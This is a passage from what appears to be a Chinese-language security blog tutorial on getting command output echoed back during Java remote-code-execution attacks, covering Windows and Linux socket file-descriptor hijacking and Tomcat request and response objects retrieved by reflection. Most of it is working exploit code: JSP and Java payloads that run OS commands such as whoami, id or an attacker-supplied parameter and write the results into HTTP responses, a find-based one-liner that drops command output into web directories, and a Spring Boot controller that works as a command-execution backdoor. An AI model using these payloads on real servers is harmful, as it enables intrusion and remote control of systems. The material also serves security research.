
    Class clazz2 = Class.forName("java.net.SocketOutputStream", false, null);
    java.lang.reflect.Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
    constructor2.setAccessible(true);

    Class clazz3 = Class.forName("java.net.PlainSocketImpl");
    java.lang.reflect.Constructor constructor3 = clazz3.getDeclaredConstructor(new Class[]{java.io.FileDescriptor.class});
    constructor3.setAccessible(true);

    java.lang.reflect.Method write = clazz2.getDeclaredMethod("write",new Class[]{byte[].class});
    write.setAccessible(true);

    java.net.InetSocketAddress remoteAddress = null;
    java.util.List list = new java.util.ArrayList();
    java.io.FileDescriptor fileDescriptor = new java.io.FileDescriptor();
    for(int i = 0; i < 50000; i++){
    field.set((Object)fileDescriptor, (Object)(new Integer(i)));
    try{
    remoteAddress= (java.net.InetSocketAddress) method1.invoke(null, new Object[]{fileDescriptor});
    if(remoteAddress.toString().startsWith("/127.0.0.1")) continue;
    if(remoteAddress.toString().startsWith("/0:0:0:0:0:0:0:1")) continue;
    list.add(new Integer(i));

    }catch(Exception e){}
    }

    for(int i = list.size() - 1; i >= 0; i--){
    try{
    field.set((Object)fileDescriptor, list.get(i));
    Object socketOutputStream = constructor2.newInstance(new Object[]{constructor3.newInstance(new Object[]{fileDescriptor})});
    String[] cmd = new String[]{"cmd","/C", "whoami"};
    String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next().trim();
    String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + (res.length()) + "\n\n" + res + "\n\n";
    write.invoke(socketOutputStream, new Object[]{result.getBytes()});
    break;
    }catch (Exception e){
    //pass
    }
    }
    }
    return null;
    }
    }

    image-20201221183135520

    ​ 我将上面的代码分为几段来讲解,先看一下第一段的代码,代码的说明我会写到注释中。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    java.lang.reflect.Field field =java.io.FileDescriptor.class.getDeclaredField("fd");  //通过反射获取FileDescriptor的fd属性,
    field.setAccessible(true); //由于fd属性是private,因此需要设置访问权限才能正常使用
    Class clazz1 = Class.forName("sun.nio.ch.Net"); //获取Net类的Class对象
    java.lang.reflect.Method method1 = clazz1.getDeclaredMethod("remoteAddress",new Class[]{java.io.FileDescriptor.class}); //获取sun.nio.ch.Net#remoteAddress方法
    method1.setAccessible(true); //由于remoteAddress方法不是public所以需要设置访问权限才能调用
    java.net.InetSocketAddress remoteAddress = null;
    java.util.List list = new java.util.ArrayList(); //创建一个list列表,用来存储可以满足需求的文件描述符ID
    java.io.FileDescriptor fileDescriptor = new java.io.FileDescriptor(); //创建fileDescriptor对象
    for(int i = 0; i < 50000; i++){ //循环遍历文件描述符ID
    field.set((Object)fileDescriptor, (Object)(new Integer(i)));//设置fd属性的值为i
    try{
    remoteAddress= (java.net.InetSocketAddress) method1.invoke(null, new Object[]{fileDescriptor}); //通过反射调用sun.nio.ch.Net#remoteAddress方法,并传入fileDescriptor对象。
    if(remoteAddress.toString().startsWith("/127.0.0.1")) continue; //当通过remoteAddress获取的内容包含127.0.0.1是,也就是这个请求时127.0.0.1则排除
    if(remoteAddress.toString().startsWith("/0:0:0:0:0:0:0:1")) continue;
    list.add(new Integer(i)); //满足条件则添加
    }catch(Exception e){}
    }

    ​ 我们看一下remoteAddress是如何验证socket是否存在的?

    image-20201221193820631

    ​ 在remoteInetAddress方法中,会通过我们传入的FileDescriptor的值判断socket是否存在,当不存在是会抛出socket异常。

image-20201221193915547

image-20201221194018415

​ remoteInetAddress的实现在native层,也就是C来实现的,如果想要查看对应的C代码可以下载Openjdk来查看,remoteInetAddress的实现代码如下,在remoteInetAddress中会调用getpeername来获取socket的ip和端口号,获取失败则会pa

image-20201222095043479

​ 如果remoteInetAddress方法可以正常获取,则返回InetSocketAddressHolder对象,在这个对象中包含hostname,addr,port等信息。

image-20201221194132910

​ 我们再看下第二段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Class clazz2 = Class.forName("java.net.SocketOutputStream", false, null);
java.lang.reflect.Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
constructor2.setAccessible(true); //通过反射调用获取SocketOutputStream的构造器

Class clazz3 = Class.forName("java.net.PlainSocketImpl");
java.lang.reflect.Constructor constructor3 = clazz3.getDeclaredConstructor(new Class[]{java.io.FileDescriptor.class}); //通过反射获取PlainSocketImpl的有参构造器。
constructor3.setAccessible(true);

java.lang.reflect.Method write = clazz2.getDeclaredMethod("write",new Class[]{byte[].class}); //调用java.net.SocketOutputStream#write方法,并传入byte[]数组
write.setAccessible(true); //更改write方法的访问权限

for(int i = list.size() - 1; i >= 0; i--){ //循环向所有满足条件的socket中写入命令执行的结果。
try{
field.set((Object)fileDescriptor, list.get(i)); //设置fileDescriptor的fd属性
Object socketOutputStream = constructor2.newInstance(new Object[]{constructor3.newInstance(new Object[]{fileDescriptor})}); //通过反射创建socketOutputStream实例并传入PlainSocketImpl的实例。
String[] cmd = new String[]{"cmd","/C", "whoami"};
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next().trim(); //命令执行结果
String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + (res.length()) + "\n\n" + res + "\n\n"; //将命令执行的结果和响应头的部分拼接
write.invoke(socketOutputStream, new Object[]{result.getBytes()});
break; //调用socketOutputStream的write方法写入命令执行结果。
}catch (Exception e){
//pass
}
}

​ socketOutputStream的构造参数需要传入AbstractPlainSocketImpl类型的参数。

image-20201221200058463

​ 而PlainSocketImpl是AbstractPlainSocketImpl的子类,因此其返回的实例可以作为socketOutputStream的参数传入。

image-20201221200144137

image-20201221200243072

​ 为什么我们的写入socket数据的时候需要加入HTTP响应头?

​ 我们抓包进行分析,可以看到我们写入的内容在真实的请求头之前,所以在我们写入数据时需要先添加一个请求头避免无法正常响应。

image-20201221200405698

Linux回显

执行结果写入web目录

​ 这种实现方法和windows的方法类似,也是通过查找某些指定的文件名的位置,并将命令执行的结果写入到找到的文件目录中,运行如下命令,可以将命令执行的结果写入到web.xml同级目录下的test.txt中

1
find / -name web.xml|while read f;do sh -c 'id;pwd;ifconfig' >$(dirname $f)/test.txt;done

image-20201222102651892

socket文件描述符回显

​ 在Linux中,可以通过命令来查看文件描述符从而获取到socket的连接信息, cat /proc/net/tcp

image-20201222110758528

​ 假如我们通过nc -lvvp 8888开启一个监听,我们如何找到对应的socket连接,首先ps -elf|grep nc 找到监听对应的进程ID。

image-20201222145124269

     根据进程ID找到对应的socket文件,socket后的数字代表INode

image-20201222145240659

​ 最后,我们就可以根据找到的Inode的信息找到对应的socket,cat /proc/net/tcp|grep 2664048并且可以获取源端口和地址还有目的端口和地址。

image-20201222145717578

​ 我们也可以根据请求的端口来找到对应的socket的Inode cat /proc/net/tcp|awk '{if($10>0)print}'|grep -i 125D|awk '{print $10}'

image-20201222151828714

​ 再根据Inode和进程id来获取fd也就是socket文件描述符的值 ls -l /proc/32591/fd|grep 2664048|awk '{print $9}'

image-20201222151905568

​ 我们分析一下https://github.com/feihong-cs/Java-Rce-Echo/blob/master/Linux/code/case2.jsp的实现,首先看一下执行结果,基本上可以稳定的获取到回显的结果。

image-20201222152243073

​ 代码实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
if(java.io.File.separator.equals("/")){
String command = "ls -al /proc/$PPID/fd|grep socket:|awk 'BEGIN{FS=\"[\"}''{print $2}'|sed 's/.$//'"; //获取当前所有的Inode的值
String[] cmd = new String[]{"/bin/sh", "-c", command};
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
java.util.List res1 = new java.util.ArrayList();
String line = "";
while ((line = br.readLine()) != null && !line.trim().isEmpty()){
res1.add(line); //将所有的Inode添加到一个列表中
}
br.close();

try {
Thread.sleep((long)2000); //延时2秒
} catch (InterruptedException e) {
//pass
}

command = "ls -al /proc/$PPID/fd|grep socket:|awk '{print $9, $11}'"; //获取延时2秒后的Inode和fd属性,理论上来讲应该和第一次获取的Inode不一样,但是无论是第一次获取的Inode还是延迟后获取的Inode都会包含我们本次请求的socket对应的Inode
cmd = new String[]{"/bin/sh", "-c", command};
br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
java.util.List res2 = new java.util.ArrayList();
while ((line = br.readLine()) != null && !line.trim().isEmpty()){
res2.add(line); //获取延迟2秒后的socket的Inode
}
br.close();

int index = 0;
int max = 0;
for(int i = 0; i < res2.size(); i++){
try{
String socketNo = ((String)res2.get(i)).split("\\s+")[1].substring(8); //从res2中得到Inode
socketNo = socketNo.substring(0, socketNo.length() - 1);
for(int j = 0; j < res1.size(); j++){
if(!socketNo.equals(res1.get(j))) continue; //判断延迟后的Inode是否在第一次请求的Inode中,如果不在则说明是新建立的socket,如果在则有可能是我们本次请求的socket。

if(Integer.parseInt(socketNo) > max) { //判断获取的Inode是否是最大的,如果是最大的,也就代表最新的一个socket,则有可能是我们请求的socket。
max = Integer.parseInt(socketNo);
index = j;
}
break;
}
}catch(Exception e){
//pass
}
}

int fd = Integer.parseInt(((String)res2.get(index)).split("\\s")[0]); //获取到Inode最大的文件描述符fd的值。
java.lang.reflect.Constructor c= java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});//获取FileDescriptor的构造器
c.setAccessible(true);
cmd = new String[]{"/bin/sh", "-c", "id"};
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); //执行我们想要执行的命令
String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + res.length() + "\n\n" + res + "\n";
java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor)c.newInstance(new Object[]{new Integer(fd)})); //获取通过fd获取socket的FileOutputStream输出流
os.write(result.getBytes()); // 将命令执行的结果进行写入
}
%>

​ 通过这种方式可以增加找到我们本次socket请求的概率,但是也不能保证写入的一定是我们本次请求的socket。如果写入的不是我们本次请求的socket,则可能会导致异常。

image-20201222163940568

Tomcat回显

lastServicedResponse获取response对象

​ 之前我们了解了windows和Linux的回显方法,这些方法的基本思路是找到我们请求的那条数据的socket的文件描述符,向请求的响应中写入命令执行的结果,那么我们能不能在http层面去获取到当前HTTP请求的响应,并在响应中写入我们的回显。在java web中存在HttpServletResponse和HttpServletResponse对象,通过这两个对象我们可以对请求和响应进行处理,比如我们可以通过response.getWriter().write()将响应内容发送到缓冲区,并刷新缓冲区发送回显,测试代码如下:

1
2
3
4
5
6
public void index(String input, HttpServletResponse response) throws IOException {
String xxx="test666";
Writer writer = response.getWriter();
writer.write(xxx);
writer.flush();
}

image-20201222174453051

image-20201222174459580

​ 这个是我们直接修改源代码实现的结果,在实际使用过程中我们可能是需要通过反射来执行命令的,我们如何才能通过反射调用获取本次请求的response对象?

​ 一般来说,HttpServletResponse实例化的对象已经被加载到内存中,我们无法通过反射调用来获取这个对象中的内容,所以比较好的方法是去寻找HttpServletResponse对象在哪里被存储过,再通过反射调用获取存储HttpServletResponse的变量的值,再调用write将命令执行的结果写入返回内容。

​ 参考先知上Tomcat中一种半通用回显方法,作者发现了ApplicationFilterChain的lastServicedResponse记录了response的内容。

image-20201222181211815

​ 因此我们可以通过调用getLastServicedResponse来获取ServletResponse对象。

image-20201222181321356

​ 我们还需要确定response的对象在整个传输链中代表的是否是一个对象,我将执行到index是的response对象和ApplicationFilterChain中的response对象做一个对比,发现是一个对象,所以我们在ApplicationFilterChain获取的response

image-20201222181748658

image-20201222181935267

​ 而且lastServicedResponse是static final修饰的,也就是说这个属性一旦赋值后就不能更改。并且还通过ThreadLocal进行修饰,这代表这个属性只能在当前线程中进行调用。

image-20201222183335083

​ 但是想要执行到赋值操作,需要ApplicationDispatcher.WRAP_SAME_OBJECT的属性为true,但是这个属性默认为false,也就是说默认不会执行这个赋值语句。所以我们需要通过反射来获取ApplicationDispatcher.WRAP_SAME_OBJECT属性,并对这个属性的值进行更改。

image-20201222191217452

​ 通过上面的分析,要通过这种思路完成tomcat下的回显 ,需要如下步骤

  • 通过反射获取WRAP_SAME_OBJECT_FIELD,并将这个值设置为true

  • 通过反射获取lastServicedRequest和lastServicedResponse属性,从lastServicedRequest获取当前的request对象,通过request对象获取请求参数。通过lastServicedResponse获取response对象,并获取到response的write方法。

  • 执行命令并将命令执行的结果写入到response中。

    由于我们需要修改的属性lastServicedRequest和lastServicedResponse都是final static修饰的变量,因此,我们得了解如何通过反射来设置final static修饰的变量。

    ​ 我写了一个小Demo,代码如下:

    test.java

    1
    2
    3
    4
    5
    6
    7
    8
    package Final.Static;

    public class test {
    private static final String test666 = null;
    public static String getTest666() {
    return test666;
    }
    }

    GetTest.java

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    package Final.Static;
    import java.lang.reflect.Field;
    import java.lang.reflect.Modifier;

    public class GetTest {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {
    Field test666=test.class.getDeclaredField("test666");
    test666.setAccessible(true);
    String test=(String)test666.get(null);
    test666.set(null,"xxx");
    }
    }

    ​ 运行上面的代码,会返回如下报错,也就是说无法通过set方法给由final修饰的属性赋值,因为一般final代表的是一个常量,一般不允许我们去修改常量的值。

    image-20201223092542124

    ​ 在Filed类中,可以通过getModifiers方法获取Filed的modifiers属性。

    image-20201223092911018

    ​ 这个属性的值代表了用户的访问权限

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    //0x00000001(十六进制) = 1(十进制)
    public static final int PUBLIC = 1;
    //0x00000002(十六进制) = 2(十进制)
    public static final int PRIVATE = 2;
    //0x00000004(十六进制) = 4(十进制)
    public static final int PROTECTED = 4;
    //0x00000008(十六进制) = 8(十进制)
    public static final int STATIC = 8;
    //0x00000010(十六进制) = 16(十进制)
    public static final int FINAL = 16;

    ​ 如果我们的修饰符是由private static final来修饰的,modifiers属性的值也就是26。所以我们如果要对final修饰的变量进行赋值,就要重新设置这个变量的modifiers属性。代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    package Final.Static;
    import java.lang.reflect.Field;
    import java.lang.reflect.Modifier;

    public class GetTest {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {
    Field test666=test.class.getDeclaredField("test666");
    Field modifiersField = Field.class.getDeclaredField("modifiers"); //获取Field类的modifiers属性
    modifiersField.setAccessible(true); //设置属性的访问权限
    modifiersField.setInt(test666, test666.getModifiers() & ~Modifier.FINAL); //重新设置test666变量的modifiers属性
    test666.setAccessible(true);
    String test=(String)test666.get(null);
    test666.set(null,"xxx");
    }
    }

    ​ 运行该代码,我们可以看到,没有设置前test666变量的modifiers属性为26,设置后更改为10,也就是去掉了test666变量的final修饰符。

    image-20201223093651210

image-20201223093748773

​ 理解了这个知识点,我们来看一下使用tomcat回显的整体代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");  //获取ApplicationDispatcher类的WRAP_SAME_OBJECT属性。
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest"); //获取ApplicationFilterChain的lastServicedRequest属性
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse"); //获取ApplicationFilterChain的lastServicedResponse属性
Field modifiersField = Field.class.getDeclaredField("modifiers"); //获取Field的modifiers属性
modifiersField.setAccessible(true); //这个属性是由private修饰的,所以需要设置访问权限
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL); //去掉WRAP_SAME_OBJECT_FIELD的final修饰
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);//去掉lastServicedRequestField的final修饰
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);//去掉lastServicedResponseField的final修饰
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null); //静态变量是和对象无关的,因此可以通过传入null来获取这个变量的内容。
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);//静态变量是和对象无关的,因此可以通过传入null来获取这个变量的内容。lastServicedRequest进行初始化
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null); //静态变量是和对象无关的,因此可以通过传入null来获取这个变量的内容。
String cmd = lastServicedRequest != null
? lastServicedRequest.get().getParameter("cmd")
: null; //判断lastServicedRequest中是否为NULL,如果为NULL说明还不能获取request中的内容。
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) { //判断WRAP_SAME_OBJECT是否为True,lastServicedResponse和lastServicedRequest内容是否为空
lastServicedRequestField.set(null, new ThreadLocal<>()); // 初始化lastServicedRequest
lastServicedResponseField.set(null, new ThreadLocal<>()); //初始化lastServicedResponse
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true); //设置WRAP_SAME_OBJECT_FIELD属性为True
} else if (cmd != null) {
ServletResponse responseFacade = lastServicedResponse.get();
java.io.Writer w = responseFacade.getWriter(); //获取response.writer

boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
w.write(output); //写入命令执行结果
w.flush();
}

​ 最后效果如下,由于第一次请求时WRAP_SAME_OBJECT_FIELD属性为false所以不会给lastServicedResponse赋值,因此在第一次访问时是无法获取命令执行结果的,后来再去请求,就可以正常执行命令了。

image-20201223104155616

AbstractProcessor获取response对象

​ 参考基于全局储存的新思路 | Tomcat的一种通用回显方法研究的文章,可以通过其他方法来寻找request和response对象被tomcat存储过的地方。经过寻找,发现AbstractProcessor中会存储request和response对象。

image-20201223113516089

image-20201223113558202

​ 但是AbstractProcessor类的request和response不是由static修饰的,也就是说我们想要获取这两个属性,就需要获取到AbstractProcessor对象。在打断点调试的过程中,发现tomcat会去创建Http11Processor对象,而Http11Processor是AbstractProcessor的子类,所以我们只要获取到Http11Processor对象就可以了。

image-20201223114132149

image-20201223114257847

​ 所以需要查看哪里存储了processor对象,我们可以看到当获取了processor对象后,调用了register方法,并且传入了processor对象。

image-20201223134031429

​ 在register中,获取了RequestInfo,并调用了setGlobalProcessor,并传入了this.global。

image-20201223134142611

​ 传入的this.global也就是ConnectionHandler的global,而这个global是RequestGroupInfo对象。

image-20201223144452026

image-20201223144535512

​ 跟进setGlobalProcessor,调用了addRequestProcessor并传入了this也就是requestInfo对象

image-20201223134402832

​ 继续跟进,将RequestInfo添加到了this.processors中

image-20201223134438913

​ 也就是将请求的requestinfo信息保存在了ConnectionHandler的global中。

image-20201223144922321

​ 所以我们现在也可以考虑先获取AbstractProtocol对象,经过查找发现CoyoteAdapter类调用了connector,而connector中包含了

image-20201223145840694

image-20201223145931811

​ 查看继承关系,可以发现ProtocolHandler为AbstractProtocol的接口。不同的请求协议的类型会调用不同的子类去进行处理。

image-20201223151356955

​ 所以我们如果可以找到connector对象,也可以间接获取request。在tomcat.java中,会将connector存储到Service对象中,所以我们只要可以获取Service对象就可以了。

image-20201223152222218

​ StandardService可以通过applicationContext来获取,applicationContext可以通过Context获取到,Context可以通过webappClassLoaderBase来获取,在Tomcat中通过webappClassLoader来加载web应用的calss文件。

1
Tomcat的类加载器可以分为两部分,第一个是Tomcat自身所使用的类加载器,会加载jre的lib包及tomcat的lib包的类,遵循类加载的双亲委派机制;第二个是每个Web应用程序用的,每个web应用程序都有自己专用的WebappClassLoader,优先加载/web-inf/lib下的jar中的class文件,这样就隔离了每个web应用程序的影响,但是webappClassLoader没有遵循类加载的双亲委派机制,处理的方法就是在使用webappClassLoader的load加载类会进行过滤,如果有些类被过滤掉还是通过双亲委派机制优先从父加载器中加载类。

​ 我们有两种方式可以获取到webappClassLoader,一种是通过Class.forName("webappClassLoader").getClassLoader(),一种是通过Thread.currentThread().getContextClassLoader()来获取,我们对比一下这两种方式获取的ClassLoader有什么不同。Thread.currentThread().getContextClassLoader()是获取当前线程的类加载器。

1
System.out.println(Thread.currentThread().getContextClassLoader());     System.out.println(Class.forName("org.apache.catalina.loader.WebappClassLoaderBase").getClassLoader());

​ 运行后我们可以看到通过Thread类获取的ClassLoader是TomcatEmbeddedWebappClassLoader类型的,而通过forName获取的是AppClassLoader类型,因此我们要获取WebappClassLoader,需要使用Thread来获取。

image-20201223170437936

​ 所以我们可以通过如下代码获取到TomcatEmbeddedWebappClassLoader

1
org.springframework.boot.web.embedded.tomcat.TomcatEmbeddedWebappClassLoader webappClassLoaderBase =(org.springframework.boot.web.embedded.tomcat.TomcatEmbeddedWebappClassLoader) Thread.currentThread().getContextClassLoader();

​ 而TomcatEmbeddedWebappClassLoader是WebappClassLoaderBase的子类,也就是说这个TomcatEmbeddedWebappClassLoader本质上也是调用了tomcat自己实现的类加载器WebappClassLoaderBase来实现类加载的。

image-20201223171242354

​ 获取TomcatEmbeddedWebappClassLoader后,我们可以通过这个ClassLoader获取Context对象,再通过Context获取到applicationContext,也就可以获取到service对象了。

1
2
3
4
org.apache.catalina.Context context=webappClassLoaderBase.getResources().getContext();
java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
contextField.setAccessible(true);
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(context);

image-20201223173018910

​ 通过下面的代码获取application的service

1
2
3
4
5
java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");

serviceField.setAccessible(true);

org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);

​ 获取到service后,通过service的findConnectors方法获取Connector。

image-20201223174205164

1
org.apache.catalina.connector.Connector connectors[]=standardService.findConnectors();

​ 遍历connectors,通过connector的getProtocolHandler方法获取protocolHandler,再通过protocolHandler的getHandler获取connectoinHandler。

1
2
3
4
5
6
7
 org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();

java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
getHandlerMethod.setAccessible(true);

org.apache.tomcat.util.net.AbstractEndpoint.Handler connectoinHandler= (org.apache.tomcat.util.net.AbstractEndpoint.Handler) getHandlerMethod.invoke(protocolHandler,null);

image-20201223175015493

image-20201223175429390

​ 下面需要从ConnectionHandler中取出global中的内容

1
2
3
4
5
java.lang.reflect.Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");

globalField.setAccessible(true);

org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(connectoinHandler);

​ 再从global中取出processors对象,里面包含了RequestInfo数组

image-20201223180014242

1
2
3
java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
processorsField.setAccessible(true);
java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);

​ 由于获取到的Processors是一个ArrayList列表,所以我们需要遍历这个列表出去RequestInfo对象,获取到RequestInfo对象后需要判断当前的RequestInfo是否为我们本次请求的。可以通过是否包含我们需要的参数来进行判断。

1
requestInfo.getCurrentQueryString().contains("xxxx")

​ 跟进getCurrentQueryString,调用this.req.queryString方法,在queryString中返回我们传入的参数和内容。

image-20201223181123439

image-20201223181134400

​ 找到我们本次请求的requestInfo后,我们需要获取request对象,而requestInfo.req属性中保存了当前的request对象,所以我们只要通过反射调用获取到req属性的内容即可。

image-20201223181335226

1
2
3
4
java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
requestField.setAccessible(true);
org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(requestInfo); //获取request对象,这个对象是coyote类型的,和我们平时使用的Request不太一样
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1); //通过getNote方法获取org.apache.catalina.connector.Request对象

​ 在request中保存的对象为coyote.request类型

image-20201223200125355

​ 通过request.getNote获取org.apache.catalina.connector.Request对象

image-20201223200553783

​ 在org.apache.catalina.connector.Request中可以获取HttpServletRequest和HttpServletResponse对象。

image-20201223201314166

image-20201223201323147

​ 最后我们获取request对象,并获取我们要执行的命令,再获取response对象,将命令执行的结果写入到Response对象中。

1
2
3
4
5
6
7
8
9
10
11
String cmd =request.getParameter(pass);
String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
java.io.Writer writer = request.getResponse().getWriter();
java.lang.reflect.Field usingWriter = request.getResponse().getClass().getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set(request.getResponse(), Boolean.FALSE);
writer.write(output);
writer.flush();

​ 整个过程分析结束了,最后给出spring-boot下的完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
package com.example.demo;

import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Modifier;
import java.util.Scanner;


@RestController
public class HelloController {
@RequestMapping("/test")
public void index(String input,HttpServletResponse resp) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {

try{
//传递命令的参数名
String pass="cmd12138";

//WebappClassLoaderBase
org.springframework.boot.web.embedded.tomcat.TomcatEmbeddedWebappClassLoader webappClassLoaderBase =(org.springframework.boot.web.embedded.tomcat.TomcatEmbeddedWebappClassLoader) Thread.currentThread().getContextClassLoader();
//ApplicationContext
org.apache.catalina.Context context=webappClassLoaderBase.getResources().getContext();
java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
contextField.setAccessible(true);
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(context);

//StandardService
java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
serviceField.setAccessible(true);
org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);

//Connector
org.apache.catalina.connector.Connector connectors[]=standardService.findConnectors();

//筛选Connector
for (int i=0;i<connectors.length;i++) {
if (connectors[i].getScheme().contains("http")) {

//AbstractProtocol$ConnectoinHandler
org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
getHandlerMethod.setAccessible(true);
org.apache.tomcat.util.net.AbstractEndpoint.Handler connectoinHandler= (org.apache.tomcat.util.net.AbstractEndpoint.Handler) getHandlerMethod.invoke(protocolHandler,null);

//RequestGroupInfo
java.lang.reflect.Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(connectoinHandler);

//获取RequestGroupInfo中储存了RequestInfo的processors
java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
processorsField.setAccessible(true);
java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);

//通过QueryString筛选
for (int k = 0; k < list.size(); k++) {
org.apache.coyote.RequestInfo requestInfo= (org.apache.coyote.RequestInfo) list.get(k);
if(requestInfo.getCurrentQueryString().contains(pass)){

//request
java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
requestField.setAccessible(true);
org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(requestInfo);
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);

//执行命令并回显
String cmd =request.getParameter(pass);
